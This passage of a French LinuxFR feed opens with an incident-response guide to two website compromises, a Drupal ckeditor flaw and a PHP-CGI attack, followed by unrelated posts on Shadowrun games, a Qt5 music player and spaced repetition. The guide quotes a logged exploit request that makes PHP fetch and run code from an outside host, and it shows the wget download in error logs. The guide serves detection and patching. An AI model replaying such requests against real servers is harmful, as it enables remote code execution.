    On ouvre les logs avec la commande less (less access.log) puis on utilise la touche / pour lancer une recherche (par exemple 2015:06:03) pour voir les requêtes au moment de l'attaque.

    68.180.228.246 - - [28/Mar/2015:06:02:02 +0100] "GET /lidentite-0 HTTP/1.1" 200 8409 "-" "Mozilla/5.0 (compatible; Yahoo! Slurp; http://help.yahoo.com/help/us/ysearch/slurp)" 1 
    157.55.39.120 - - [28/Mar/2015:06:02:22 +0100] "GET /printmail/5732 HTTP/1.1" 200 8176 "-" "Mozilla/5.0 (compatible; bingbot/2.0; +http://www.bing.com/bingbot.htm)" 1 
    157.55.39.120 - - [28/Mar/2015:06:02:35 +0100] "GET /print/1832 HTTP/1.1" 200 4531 "-" "Mozilla/5.0 (compatible; bingbot/2.0; +http://www.bing.com/bingbot.htm)" 0 
    157.55.39.120 - - [28/Mar/2015:06:02:43 +0100] "GET /print/5041 HTTP/1.1" 200 6582 "-" "Mozilla/5.0 (compatible; bingbot/2.0; +http://www.bing.com/bingbot.htm)" 0 
    81.163.131.61 - - [28/Mar/2015:06:03:07 +0100] "POST /index.php?q=fckeditor%2Fxss HTTP/1.1" 404 29446 "-" "-" 1 
    81.163.131.61 - - [28/Mar/2015:06:03:09 +0100] "POST /index.php?q=ckeditor%2Fxss HTTP/1.1" 200 3 "-" "-" 0 
    81.163.131.61 - - [28/Mar/2015:06:03:10 +0100] "POST /index.php?q=ckeditor%2Fxss HTTP/1.1" 200 13 "-" "-" 0 
    81.163.131.61 - - [28/Mar/2015:06:03:11 +0100] "GET /sites/all/themes/wtm7973n.php HTTP/1.1" 200 109 "-" "-" 0 
    91.194.60.86 - - [28/Mar/2015:06:05:01 +0100] "GET /cron.php?cron_key=SkL5Ge7 HTTP/1.1" 200 3 "-" "Wget/1.13.4 (linux-gnu)" 10 
    207.46.13.9 - - [28/Mar/2015:06:05:12 +0100] "GET /print/2862 HTTP/1.1" 200 4324 "-" "Mozilla/5.0 (compatible; bingbot/2.0; +http://www.bing.com/bingbot.htm)" 1 
    148.251.68.67 - - [28/Mar/2015:06:05:18 +0100] "GET / HTTP/1.1" 200 50604 "-" "aria2/1.18.6" 1 
    188.165.15.98 - - [28/Mar/2015:06:05:28 +0100] "GET /concours HTTP/1.1" 200 9948 "-" "Mozilla/5.0 (compatible; AhrefsBot/5.0; +http://ahrefs.com/robot/)" 0 
    157.55.39.120 - - [28/Mar/2015:06:05:51 +0100] "GET /node/6164 HTTP/1.1" 200 9574 "-" "Mozilla/5.0 (compatible; bingbot/2.0; +http://www.bing.com/bingbot.htm)" 1 
    207.46.13.9 - - [28/Mar/2015:06:06:42 +0100] "GET /breves/www.news.fr HTTP/1.1" 200 9787 "-" "Mozilla/5.0 (compatible; bingbot/2.0; +http://www.bing.com/bingbot.htm)" 1 
    83.169.91.4 - - [28/Mar/2015:06:06:58 +0100] "GET / HTTP/1.1" 200 50604 "-" "Mozilla/5.0 (X11; Linux i686; rv:19.0) Gecko/20100101 Firefox/19.0" 1 
    81.163.131.61 - - [28/Mar/2015:06:07:06 +0100] "POST /sites/all/themes/wtm7973n.php HTTP/1.1" 200 1123 "-" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET4.0C; .NET4.0E)" 1 
    81.163.131.61 - - [28/Mar/2015:06:07:08 +0100] "GET /wp-conf.php?t8449n=1 HTTP/1.1" 200 29207 "-" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET4.0C; .NET4.0E)" 0 
    125.209.235.176 - - [28/Mar/2015:06:07:14 +0100] "GET /robots.txt HTTP/1.1" 200 649 "-" "Mozilla/5.0 (compatible; Yeti/1.1; +http://help.naver.com/robots/)" 0 
    125.209.235.179 - - [28/Mar/2015:06:07:15 +0100] "GET / HTTP/1.1" 200 10929 "-" "Mozilla/5.0 (compatible; Yeti/1.1; +http://help.naver.com/robots/)" 1
    

    À 6:03:07, une première tentative d'injection (POST) semble rater (code 404) :

    81.163.131.61 [28/Mar/2015:06:03:07] "POST /index.php?q=fckeditor%2Fxss 404
    

    Mais les deux suivantes fonctionnent (code 200) :

    81.163.131.61 [28/Mar/2015:06:03:09] "POST /index.php?q=ckeditor%2Fxss  200
    81.163.131.61 [28/Mar/2015:06:03:10] "POST /index.php?q=ckeditor%2Fxss 200
    

    Puis une requête sur un fichier avec un nom étrange :

    81.163.131.61 [28/Mar/2015:06:07:06] "POST /sites/all/themes/wtm7973n.php HTTP/1.1" 200
    

    Et il vient d'être créé :

    ls -l ./sites/all/themes/wtm7973n.php
    -rw-rw---- 1 2003 2003 1285 mars  28 06:03 ./sites/all/themes/wtm7973n.php
    

    Si on continue encore un peu dans les logs, on voit cette ligne :

    81.163.131.61 [28/Mar/2015:06:07:08] "GET /wp-conf.php?t8449n=1 HTTP/1.1" 200
    

    Rien ne vous saute aux yeux ? Le fichier wp-conf.php est propre à wordpress, et n'a rien à faire sur un drupal. Il faudra prévoir de faire un peu de nettoyage par la suite.

    VU !

    Donc, on aurait une attaque sur "ckeditor", qui aurait permis de créer d'autres fichiers. Après une petite recherche, ckeditor est un module pour Drupal avec des failles connues, dont la nôtre.

    Un correctif existe, il suffirait donc de restaurer une sauvegarde du site datant d'AVANT l'attaque puis de mettre le module à jour, ce qui permet d'éviter de devoir nettoyer les fichiers un par un, au risque d'en louper.

    Allons plus loin

    L'attaque semble venir d'une faille de ce module, mais autant en être sûr. N'hésitez surtout pas à rechercher dans les logs toutes les IP ayant fait une requête sur les fichiers pirates (wp-conf.php, wtm7973n.php…), puis sur toutes les requêtes que ces adresses IP ont faites.

    Je ne vais pas vous mettre les logs de ces recherches ici, ça prendrait trop de place, mais je note que :

    • 6 adresses IP différentes ont fait des requêtes sur le fichier wp-conf.php :
    zcat *.gz|grep wp-conf.php|awk {'print $1'}|sort|uniq -c
        1 188.162.64.65 - 492 requêtes, seulement des 404
        2 205.234.200.234
        2 31.184.195.247
        2 81.163.131.58
        9 81.163.131.61
        8 81.17.16.116
    
    • L'IP 81.17.16.111 a fait une requête sur un fichier update.php du module ctools, faudrait peut-être voir pour le mettre à jour par la même occasion si ce n'est pas le cas ;-)
    81.17.16.111 - - [28/Mar/2015:18:22:05 +0100] "POST /sites/all/modules/ctools/page_manager/plugins/update.php HTTP/1.1" 200 13203 "-" "Mozilla/5.0 (Windows NT 6.1; rv:21.0) Gecko/20130331 Firefox/21.0" 0
    

    Exemple 2 : vulnérabilité sur PHP 5.2

    Nous avons reçu 2 alertes dans la nuit concernant une attaque sur le site www.exemple.org. L'attaquant a profité de l'utilisation de php5.2 pour lancer le téléchargement d'un fichier sur un serveur distant via la commande wget (sans fichiers modifiés) mais en lancant un processus "ennemi" :

    2001      3912  0.0  0.0  29700  4136 ?        S    01:50   0:00 /usr/sbin/httpd
    

    En fouillant dans les logs au moment de l'attaque, on tombe sur cette ligne :

    189.18.60.245 - - [20/Apr/2015:01:50:27 0200] "GET /?-d%20allow_url_include%3DOn-d%20auto_prepend_file%3Dhttp://www.krol.lt/run.txt HTTP/1.1" 200 7 "-" "Mozilla/3.0 (compatible; Indy Library)" 300
    

    Et en fait, la réponse se trouve dans error.log :

    [01:50:27] [error] [client 189.18.60.245] --2015-04-20 01:50:27-- http://www.krol.lt/w.txt
    [01:50:27] [error] [client 189.18.60.245] Resolving www.krol.lt (www.krol.lt)...
    [01:50:27] [error] [client 189.18.60.245] 5.199.171.10
    [01:50:27] [error] [client 189.18.60.245] Connecting to www.krol.lt (www.krol.lt)|5.199.171.10|:80...
    [01:50:27] [error] [client 189.18.60.245] connected.
    [01:50:27] [error] [client 189.18.60.245] HTTP request sent, awaiting response...
    [01:50:27] [error] [client 189.18.60.245] 200 OK
    [01:50:27] [error] [client 189.18.60.245] Length: 29582
    [01:50:27] [error] [client 189.18.60.245] (29K) [text/plain]
    [01:50:27] [error] [client 189.18.60.245] Saving to: `w.txt'
    [01:50:27] [error] [client 189.18.60.245]
    [01:50:27] [error] [client 189.18.60.245] 0K .
    [01:50:27] [error] [client 189.18.60.245] ........
    [01:50:27] [error] [client 189.18.60.245] . .....
    [01:50:27] [error] [client 189.18.60.245] ...
    [01:50:27] [error] [client 189.18.60.245] .. ......
    [01:50:27] [error] [client 189.18.60.245] .. 100%
    [01:50:27] [error] [client 189.18.60.245] 171K=0.2s
    [01:50:27] [error] [client 189.18.60.245]
    [01:50:27] [error] [client 189.18.60.245] 2015-04-20 01:50:27 (171 KB/s) - `w.txt' saved [29582/29582]
    [01:50:27] [error] [client 189.18.60.245]
    

    La meilleure solution serait de mettre à jour le site pour utiliser une version de php plus récente que la version dont il a besoin actuellement (php 5.2) qui possède des vulnérabilités. Hélas, la meilleure solution n'étant pas toujours possible, il va falloir patcher directement. Si on connait la cause du problème, on trouve normalement des solutions rapidement sur le net, dans notre cas : PHP-CGI Vulnerability Exploited in the Wild qui explique le fonctionnement et la parade de cette attaque via un .htaccess.

    Vous pouvez également éditer directement le(s) vhost(s)p our y ajouter les trois lignes suivantes :

    RewriteEngine on
    RewriteCond %{QUERY_STRING} (%2d|-)d.*auto_prepend  [NC]
    RewriteRule .? - [F,L]
    

    En conclusion

    Avant une attaque :

    • mettre en place des sauvegardes (sites, base de données…) réguliers et automatiques
    • mettre en place un système pour être alerter en cas de problème (supervision sur les processus, chaînes de caractères présentes dans les fichiers…)

    Après une attaque :

    • définir le moment de la création ou de la modification des fichiers
    • rechercher dans les logs l'origine de l'attaque
    • définir les différents attaquants (IP / origine de l'attaque)
    • définir si d'autres fichiers ont été créé/modifié

    Et bien entendu, se tenir à jour ET mettre à jour régulièrement ses CMS :

    Lire les commentaires

  • Jouer sous linux : la série des Shadowrun (Journaux LinuxFR)

    Sommaire

    Bonjour,

    Afin de compléter ma série d'articles à propos de jeux indépendants sous linux que j'ai appréciés, je me propose aujourd'hui de vous présenter la série de jeux de rôle vidéos Shadowrun.

    Shadowrun

    L'Univers de Shadowrun

    Shadowrun est, avant d'être des jeux vidéos, un jeu de rôles papier créé par FASA Corporation en 1989. Il se situe dans un monde que l'on peut qualifier de cyperpunk dans lequel la magie est subitement apparue. On y trouve des elfes, des nains, des orks et des trolls, mais aussi de nombreux créatures légendaires comme des dragons et des démons. La magie et la technologie cohabitent dans cet univers. De plus, internet à fait place à la matrice. Le monde est dominé en partie par de très grosses multinationales.

    Les Jeux

    Le premier jeu de la série a été développé par le studio Harebrained Schemes et a été financé au travers de kickstarter. À sa suite, deux autres jeux sont sortis en réutilisant le moteur déjà mis en place. De plus, une version multijoueur en ligne a été créée par un autre studio de développement : Cliffhanger Productions.

    Tous ces jeux reprennent au final le même schéma. On y incarne un groupe de Shadowrunners (des mercenaires) qui effectue des missions (infiltration, enquête, vol, enlèvement…) pour le compte d'un commanditaire (Corporation, particulier…). En plus, il y a une trame principale qui avance au fur et à mesure de missions particulières. Les missions permettent de gagner de l'argent pour s'acheter de l'équipement, et de l'expérience pour améliorer ses compétences et attributs.

    Les jeux sont en 3D isométrique. On peut s'y déplacer librement, au travers d'une ou plusieurs cartes, et lors des phases de combat, on passe en mode tour par tour. Chaque faction (il peut y en avoir plus de deux) joue le tour de chacun de ses personnages, afin de passer la main à une autre faction. Chaque personnage possède plusieurs PA (points d'action) qui permet d'effectuer ce que l'on souhaite : lancer un sort, se déplacer, tirer avec une arme à feu, se battre avec une arme blanche…

    Un combat

    De plus, les deckers peuvent, au travers de point d'accès, se connecter à la matrice. Les combats y sont similaires et peuvent se dérouler en simultané avec ceux du monde physique. Il n'est pas rare de devoir protéger son decker dans le monde physique pendant que celui ci, dans la matrice fait un combat pour prendre le contrôle d'un tourelle qui permettrait de se dégager le chemin.

    la matrice

    Il y a souvent plusieurs façons d'effectuer une mission, le combat n'étant pas toujours la meilleure. Certaines capacités de ces personnages permettent souvent d'éviter un combat pouvant être risqué.

    Shadowrun Returns (2013)

    Dans le premier de la série, on y incarne un shadowrunner qui doit enquêter sur le meurtre d'un ancien partenaire à Seattle par un tueur en série. Étant le premier de la série, il souffre de quelques défauts qui ont été corrigé par la suite. Le jeu manque par exemple de missions secondaires/optionnelles et il y a quelques problèmes d'équilibrage des armes (les shotguns étant extrêmement puissants). Néanmoins, il reste très agréable à jouer.

    Dragonfall (2014)

    Ce jeu est sorti, en tout premier lieu, comme un DLC de Shadowrun returns, avant finallement d'être diffusé comme un jeu à part entière sous le nom de Shadowrun: Dragonfall - Director's Cut. Il prend place à Berlin, et on y incarne un groupe de Shadowrunners qui cherche à se venger d'un client qui les a envoyé à la mort. Les défauts du premier ont été corrigés, et l'histoire centrale est très bonne. C'est à mon avis le meilleur de la série.

    Shadowrun: Hong Kong (2015)

    On y incarne un jeune homme qui arrive à Hong Kong afin de retrouver son père adoptif et qui se retrouve à devenir Shadowrunner afin de survivre et enquêter sur le passé de son père. L'histoire, bien qu'intéressante, manque de rebondissements à mon goût. Par contre, les modifications des règles de la matrice sont très bien pensées. De plus, l'ambiance de la ville, à mon avis, est très bien retranscrite.

    Hong Kong

    Shadowrun Chronicles : Boston Lockdown (2015)

    Une version multijoueur en ligne. Bien que je l'ai acheté, je n'ai pas particulièrement accroché, et donc, je vais avoir du mal à vous en dire plus.

    Titre de l'image

    Les pré-requis

    Ces jeux ne demandent pas de trop grosses ressources. La configuration minimale semble nécessiter 2 Go de Ram et un CPU mono-cœur cadencé à 1.4 GHz. Il faut Steam par contre pour jouer à Hong Kong et Chronicles. Ce n'est pas nécessaire pour jouer à Dragonfall et Returns.

    Où les acheter ?

    On les trouve sur la boutique Steam pour 15 à 20 €, mais ils sont actuellement en promotion sur la boutique humble bundle. Un pack contenant les trois jeux solo est actuellement à 8,27 €, et 9,35 € si l'on souhaite la version avec les Art books en pdf.

    Pourquoi j'ai aimé ce jeu ?

    Ayant joué au jeu de rôle papier dans mon adolescence, ces jeux m'ont rappelé de bon souvenirs. L'univers de shadowrun est très bien retranscrit, et le fait de faire un jeu par grosse ville permet d'être surpris à chaque fois. Si vous n'aimez pas les RPG, vous pouvez passer à côté sans soucis. Le coté tactique tour à tour est également bien pensé, sans être d'une difficulté énorme. Ces jeu savent parfois nous mettre devant des choix moraux intéressants.

    Conclusion

    Si vous aimez les jeux de rôle, à mon avis, vous pouvez essayer les trois jeux solos. J'ai plus de réticences avec la version en ligne.

    Pour en savoir plus

    Le test de Dragonfall sur jeuvideo.com
    Le test de Shadowrun returns sur gamekult
    Shadowrun Hong Kong sur metacritics

    Lire les commentaires

  • Projet Qt5 : lecteur de musique (Dépêches LinuxFR)
       
    Comme vous avez pu le voir dans cette dépêche, le framework C++ Qt5 est maintenant sorti. Cette dépêche revient sur certaines bases de la programmation C++/Qt, ainsi que ses évolutions à travers un cas concret : la création d’un lecteur de musique. logo QT

    Sommaire

    Un projet Qt est divisé en 3 parties : le code principal du programme, la partie graphique et une couche faisant le lien entre les deux.
    En fait, c'est une implémentation du MVC (Modèle, Vue, Contrôleur) plus proche du Modèle/Vue.

    Projet avec Qt

    Qt est une bibliothèque très importante avec beaucoup de fonctionnalités. En général, on utilise Qt Creator qui est l'environnement de développement dédié, Qt Designer servira pour la partie graphique. Je ne développerai pas cette partie, tout est affaire de QWidget que l'on place, comme avec tout éditeur visuel.
    Sachez aussi qu'il est possible de coder via QML (Qt Markup Language) qui est un langage adapté, proche du XML, Javascript, CSS à la sauce moderne -> voir cette dépêche.
    Enfin, Qt étant multi-plateforme, le style visuel de chaque widget s'adapte à son environnement et on peut aussi l'adapter grâce à des styles semblables aux CSS.

    Le code principal

    Le code principal ressemble à du C++, mais étant donné qu'on utilise souvent un nombre important de fonctions Qt, on a plus l'impression de faire un nouveau langage. Après, cela dépend de l'application.

    Signaux et slots

    Dans Qt, pour communiquer, tout est à base de signaux et slots. Cela permet de faire de la programmation événementielle. L'idée est d'envoyer un signal quand un évènement vient de se passer (ex : une valeur modifiée). Chaque objet qui veut recevoir un signal doit posséder un slot compatible. Ensuite, on fait un connect et le tour est joué. C'est tout simplement une implémentation du pattern observateur/observable.

    Déclaration :

    //Création d'une classe foo implémentant signaux et slots pour gérer la modification d'une valeur
    
    class Foo: public QObject
    {
      Q_OBJECT
    public :
      Foo();
      int value() const {return val;}
    public slots :
      void setValue(int); //A un corps
    signals :
      void valueChanged(int); //N'a pas de corps
    private :
      int val;
    }
    
    

    Lancement d'un signal :

    void MonQObject::setValue(int v)
    {
      if(v!=val){
        val=v;
        emit valueChanged(v); //On émet le changement de valeur
                              //Un autre objet pourra ainsi agir après l’émission
      }
    }
    
    

    Connexion :

    Foo a,b;
    connect(&a, &Foo::valueChanged, &b, &Foo::setValue);
    
    

    Plus d'informations et exemples : http://web.njit.edu/all_topics/Prog_Lang_Docs/html/qt/signalsandslots.html (en Qt3) et pour Qt5 : http://qt-project.org/doc/qt-5.0/qtcore/signalsandslots.html

    L'interface programme/graphique

    Cette partie fait le lien entre le code principal du programme et la partie graphique. Chaque classe hérite en public de QWidget et en privé de la classe graphique correspondante (créée avec le designer) Ui::Maclasse.
    Les seuls attributs sont les informations nécessaires à l'affichage. Par exemple : bool isRunning pour mon player sert à afficher l’icône play ou pause selon l'état du player.
    On crée ensuite des slots correspondant aux boutons de l'interface graphique pour faire les modifications graphiques nécessaires.
    On émet les signaux correspondant à nos slots. Exemple : j'ai un slot setPlayPause, je regarde l'état isRunning, je met à jour l’icône play/pause et j’émets le signal pause.

    Les connect entre interface graphique et slots sont faits dans le constructeur.

    L'environnement de développement

    Qt Creator

    Qt creator offre tout ce que l'on peut attendre d'un IDE moderne, il offre des connexions avec des gestionnaires de version, des fonctions de refactorisation, l'intégration d'un débogueur et d'un analyseur de code, un clone de Vim anecdotique mais appréciable, et une gestion de la documentation très intéressante.

    Documentation

    D'ailleurs, je veux parler très rapidement de la documentation, car c'est un véritable bonheur. Vous n'avez que l’embarras du choix : elle est disponible de manière complète dans Qt Creator dans un onglet séparé, elle s'affiche à droite de l'écran par l'appui de F1 au survol du code, elle est disponible dans une version web sur le site de digia et dans un logiciel dédié : Qt designer. Qt designer est en fait un navigateur web sur la doc que vous possédez en local et comme il a spécialement été adapté pour celle-ci, il offre un confort de recherche accru, tout en proposant toutes les fonctionnalités pratiques de votre navigateur web préféré.

    Traduction

    Qt et Qt creator ont un outil de traduction pratique à utiliser, il suffit d'entourer les chaînes de caractères traduisibles dans un programme par un appel à la fonction tr() et un fichier de traduction sera généré.

    Les apports de Qt5

    Comme vu dans la dépêche de sa sortie, Qt5 apporte beaucoup de choses. Dans le cadre d'un lecteur audio, il y a toute une partie qui m'a été très utile : QMultimedia. Le QMedia player se dote maintenant d'une bonne gestion des listes de lecture et d'objets pour manipuler directement des fichiers audio et vidéo. Bien entendu, toutes les fonctions de base sont là : lecture, pause, changement de volume, changement de vitesse, mode de lecture ou autre. On n'est plus obligé de passer par la bibliothèque phonon.

    En outre, le confort de c++ 2011 est là donc on peut allègrement employer les lambda tant qu'on possède un compilateur adapté.

    Enfin, Qt5 apporte la vérification des signaux et slots à la compilation et des gains de performance.

    Mon projet : Mandarine

    Cahier des charges

    Mandarine est un projet d'école, c'est censé être une copie de Clémentine (lecteur de musique Linux, Mac OS X et Windows).
    Comme tout bon lecteur de musique il doit gérer les fonctionnalités suivantes :

    • lecture de fichiers ou flux audio ;
    • gestion de listes de lectures (playlist) ;
    • gestion de bibliothèques ;
    • affichage de jaquettes et d'informations sur les artistes et albums (intégration de Wikipédia).

    Détail du projet

    Le GUI

    L'interface graphique se veut simple, aucunement révolutionnaire. La seule fantaisie est peut être le gestionnaire de bibliothèque qui est un dock qu'on peut détacher dans une fenêtre séparée.

    La lecture de flux audio utilise plusieurs classes, voici l'exemple d'une d'elles.

    PlayerControls

    (gestion des boutons de lecture).

    Ceci est typiquement une classe qui sert d'interface programme/code.
    On n’interagit qu'avec les boutons, on modifie les icônes et on renvoie les signaux intéressants.

    Fonctionnalités :

    • lecture / pause (même bouton, changement dynamique d’icône) ;
    • stop ;
    • morceau suivant et précédent ;
    • possibilité de désactivation des contrôles en lot si besoin ;
    • bouton « vitesse de lecture » : menu contextuel ;
    • bouton « mode de lecture » : menu contextuel (séquentielle, en boucle, aléatoire : case à cocher).

    Membres :

    • boolean isplaying = false
    • int speedLevel = SPEED_NORMAL
    • int playMode = SEQUENTIAL { SEQUENTIAL, LOOP, RANDOM }
    • int mode = BEGIN { BEGIN, RUNNING, ENDING }

    Signaux :

    • play() / pause() / stop()
    • fastForward(level)
    • next() / previous()
    • playModeChanged(playMode)
    • modeChanged(mode)
    • speedChanged()

    Slots :

    • setStatus(bool enabled) //(activer ou désactiver tous les boutons)
    • setMode(mode)
    • setPlayMode(playMode)
    • reset() //setStatus(disable), setMode(SEQUENTIAL), setPlayMode(BEGIN)

    playercontrol.h
    playercontrol.cpp

    Cette partie s'adresse à deux types de personnes : le débutant en programmation et quelqu'un qui n'aurait jamais vraiment fait ce genre de choses, le c++ n'est pas un langage voué à mourir de sitôt, on peut facilement faire des programmes dignes du 21ème siècle.

    La suite du projet

    En toute logique, tout s’arrête là, aucune mise à jour n'est à prévoir. Ses différents atouts : simplicité, légèreté, modernité vous plairont peut être, j'aiderai quiconque voulant le reprendre pour un faire un vrai petit logiciel sympa.

    Lire les commentaires

  • Mes péripéties avec la répétition espacée (Journaux LinuxFR)

    Sommaire

    Bonjour Nal,

    Aujourd'hui, je viens pour te raconter mes péripéties avec la répétition espacée et la naissance de morji, un logiciel de répétition espacée, tout comme mnemosyne ou anki, mais comme alternative minimaliste en mode texte dans le terminal. Avant de te raconter le pourquoi du comment de morji, je vais te raconter un peu le concept de répétition espacée, ainsi que te montrer un peu le principe des algorithmes qui font marcher l'idée.

    La répétition espacée : qu'est-ce donc  ?

    L'idée de la répétition espacée part d'un constat expérimental : lorsqu'on apprend quelque chose, peu importe quoi, on a besoin de réviser pour ne pas l'oublier, et l'intervalle entre révision et révision peut s'allonger avec le temps — l'expérience suggère une progression exponentielle. Si je t'apprends le nom d'une plante aujourd'hui et que je te repose la question dans un mois, tu auras sans doute oublié d'ici là. Si je te repose la question demain, il y a des chances que tu t'en souviennes, et si je te repose la question une semaine après, il y a de bonnes chances aussi ; si après ceci j'attends un mois pour t'embêter de nouveau… et bien probablement aussi !

    Tu me diras, rien de bien extraordinaire là-dedans. Peut-être pas, et encore… Mais ce qui est sûr, c'est que, du coup, il faut une certaine organisation si l'on veut retenir un maximum de choses tout en faisant un minimum d'efforts. Le drame, c'est que choisir manuellement à l'intuition ce qu'il faut réviser et quand, c'est pas toujours évident.

    Un peu d'automatisation !

    C'est là qu'on se dit, et si on pouvait faire faire ce travail à une machine ? Il se trouve que ça s'applique pas facilement à tout type de connaissance, mais il y a des cas où on peut, en particulier lorsque les faits à se remémorer se structurent facilement en cartes-mémoires du type question/réponse. Par exemple :

    Question: nom de plante avec de gros piquants dangereux
    qui pousse dans le désert
    Réponse: cactus
    

    L'interaction (version naïve) se fait ainsi :

    • le programme nous pose la question ;
    • on réfléchit à la réponse ;
    • on affiche la réponse ;
    • on dit à la machine si on s'en souvenait.

    Si on s'en souvenait (on a pensé à « cactus »), la machine calcule alors la date de la révision suivante en tenant compte de l'intervalle entre les deux révisions précédentes. Sinon (on a pensé à « rose » ou « chardon » ou à rien du tout), les intervalles repartent de zéro pour ce fait, qu'il faut remémoriser.

    Ces idées ont donné naissance à des algorithmes. Le premier semble être le Système Leitner, qui date des années 70 et qui ne semble pas être vraiment utilisé aujourd'hui dans des logiciels, mais qui par contre avait l'avantage de pouvoir s'utiliser à la main avec des boîtes. Cet algorithme classait les faits par groupes (les boîtes) : le premier groupe contenait les faits non mémorisés ou oubliés, le second les faits mémorisés qui ont été révisés une fois, et ainsi de suite. Plus le numéro de groupe était élevé, moins la carte était révisée, suivant une méthode de calcul artisanale qui utilisait une taille maximale pour chaque groupe : le premier groupe était de taille 1, le deuxième de taille 2, puis 5, puis 8, etc. C'est seulement lorsqu'un groupe était « plein » qu'il fallait réviser des cartes de ce groupe pour les faire passer au groupe suivant.

    L'inconvénient du procédé, même implémenté dans un logiciel (parce que les boîtes ça prend de la place mine de rien), c'est qu'il est un peu binaire. Des fois on se souvient presque (on a pensé « kaktus »), ou alors on se souvient, mais on a eu beaucoup de mal, ou alors c'était trop facile. Du coup, l'idée est venu de demander à l'utilisateur d'évaluer lui-même sa performance, soit à l'aide d'un nombre entre 0 et 5 (mnemosyne ou SuperMemo), soit de façon plus qualitative (anki). En fonction du résultat, l'intervalle de révision suivant est ajusté par le logiciel qui maintenant a une idée de la difficulté que présente ce fait particulier pour l'utilisateur.

    Vers des algos plus évolués : exemple de SM2

    Un deuxième algo plus évolué est alors apparu, appelé SM2, du nom de SuperMemo2, logiciel pas libre qui a lancé l'idée. Depuis, son algo s'est compliqué sensiblement pour tenir compte finement du fait que certains faits sont liés entre eux et autres subtilités, et le logiciel est probablement devenu une usine à gaz, mais l'idée de fond reste la même. En fait, les logiciels mnemosyne et anki utilisent simplement une version modifiée de SM2 qui marche bien en pratique et leurs auteurs semblent sceptiques sur les versions suivantes de l'algo (ça va jusqu'à SM11 ou plus). Il y a aussi un mode Emacs qui fait de la répétition espacée et qui permet d'utiliser SM5, même si par défaut ça utilise encore le système Leitner si les infos sur le site ne sont pas obsolètes. Il y a aussi Org-Drill (Emacs encore) qui fait du SM5 par défaut.

    L'algorithme SM2 original est une simple traduction des idées ci-dessus : si I(n) représente l'intervalle entre la (n-1)-ième répétition et la n-ième, alors :

    • I(1) = 1
    • I(2) = 6
    • Pour n > 2 : I(n) = I(n-1) * facilité.

    facilité est un paramètre propre au fait qui évolue au fil des notes successives données à chaque révision. Initialement il vaut 2.5, puis il évolue autour en fonction des notes. Le paramètre a une valeur minimale de 1.3, pour éviter des révisions trop fréquentes d'un même fait : en pratique elles correspondent à des faits non-compris ou mal posés dont il faut revoir la présentation. Par exemple, anki propose 4 choix lors d'une révision :

    • On a oublié : l'intervalle est remis à zéro, la facilité laissée telle quelle ; si on a oublié ça veut pas forcément dire que c'était dur, des fois on oublie, c'est tout.
    • Ok, mais c'était dur : la facilité est diminuée (de 0.15 il me semble pour anki), et le nouvel intervalle tiendra compte de ceci.
    • Ok, juste comme il faut : la facilité ne change pas.
    • Ok, mais trop facile : la facilité augmente (0.10 pour mnemosyne, 0.15 pour anki de mémoire).

    Le détail de l'algorithme original et de la modification du paramètre de facilité peut être trouvé à la source (site qui, dit en passant, contient beaucoup d'articles intéressants sur la mémoire, bien que parfois un peu biaisés sans doute). Remarque annexe sur le document : Faut faire gaffe, car il y a une petite subtilité : le 5ème et 6ème points sont inversés dans mnemosyne et anki, c'est-à-dire qu'on ne modifie pas la facilité lorsqu'on a oublié. Ceci semble logique, car si on a oublié totalement un fait, ça veut pas forcément dire qu'en le réapprenant on va avoir des difficultés et, de plus, ajuster la facilité en variant les réponses affirmatives semble suffisant et plus raisonnable : l'algo original (si tant est que ce ne soit pas juste un bug du document) a tendance à faire plomber trop vite le taux de facilité suite à des échecs successifs lors de l'apprentissage d'une carte.

    Quelques améliorations

    Un souci avec le SM2 original, c'est qu'il suppose que l'utilisateur va apprendre tous les jours plus ou moins la même quantité de faits. En effet, si un jour on apprend 20 faits, et un autre on en apprend 50, ça veut dire que ces 20 faits seront révisés, à moins d'être oubliés, toujours aux mêmes dates avec les mêmes intervalles, et de même pour les autres 50 aussi : on se retrouve donc avec une charge de révision très inégale suivant les jours. Même en étant disciplinés, il arrive parfois de ne pas pouvoir faire ses révisions pendant plusieurs jours, par exemple, et créer ainsi sans faire exprès ce genre d'inégalités de charge.

    Les logiciels anki et mnemosyne introduisent un peu d'aléatoire dans l'algorithme pour résoudre ce problème. Plutôt que de faire réviser les 50 cartes le même jour, elles seront réparties sur les jours autour, avec une incertitude qui dépend de l'intervalle (5% pour mnemosyne, sauf pour les petits intervalles où des valeurs spéciales sont codées en dur).

    Il y a d'autres petites subtilités pour être un peu résistant aux vacances ou autres cas spéciaux : par exemple, si on se souvient d'un fait qu'on était censé réviser il y a une semaine, le nouvel intervalle doit tenir compte de la date de la vraie répétition, pas seulement de la date théorique mais, en même temps, si l'utilisateur a du mal, on peu préférer être plus conservateur sur le nouvel intervalle qu'en théorie : lors du calcul anki compte les jours de retard avec un poids plus faible qui dépend de la note ; mnemosyne se contente d'être conservateur si la note correspond à « c'était dur ». C'est des ajustements de bon sens, mais sans théorie vraiment derrière, pour autant que je sache.

    Une petite simulation !

    Pour se faire une idée de la charge de révision que l'on accumule, j'ai fait une petite simulation sur plus d'un an (500 jours). Tous les jours, 15 nouvelles cartes apprises, et quelques pourcentages pris un peu au flair (ça varie sans doute beaucoup suivant la façon de voter de la personne et le sujet) : chaque jour, 5% de cartes oubliées (mais réapprises le jour même de l'oubli), 2% classées difficiles, et 1% classées faciles. Au total, 7500 cartes sont mémorisées. On se retrouve avec un nombre de cartes à réviser par jour pour la semaine suivante qui ressemble à :

    88 88 76 85 86 79 56
    

    Un petit calcul permet de prévoir l'ordre de grandeur du résultat : en supposant de voter toujours « Ok, je m'en souviens bien », ça correspond à des intervalles (à randomisation et ajustements près) de 1, puis 6, puis à partir d'ici multiplier l'intervalle par 2.5, ce qui donne en moyenne entre 5 et 6 révisions par carte sur l'intervalle de 500 jours, donc en multipliant par le nombre de cartes nouvelles par jour, ça donne entre 5 * 15 = 75 et 90. Comme en pratique on oublie quand même des cartes, et la facilité c'est souvent un peu moins de 2.5, c'est en fait un peu plus, mais c'est le bon ordre de grandeur.

    Quelques types de cartes-mémoires

    Tout à l'heure, j'ai donné un exemple simple de question/réponse avec un cactus. Les logiciels gèrent en général plus de types de cartes-mémoire. En particulier, des faits que l'on veut être capable de retenir dans les deux sens. Par exemple, imaginons qu'on veut retenir le nom des capitales, on veut une question du genre :

    Question: France
    Réponse: Paris
    

    Mais peut-être qu'il peut être intéressant aussi d'avoir la question à l'envers aussi :

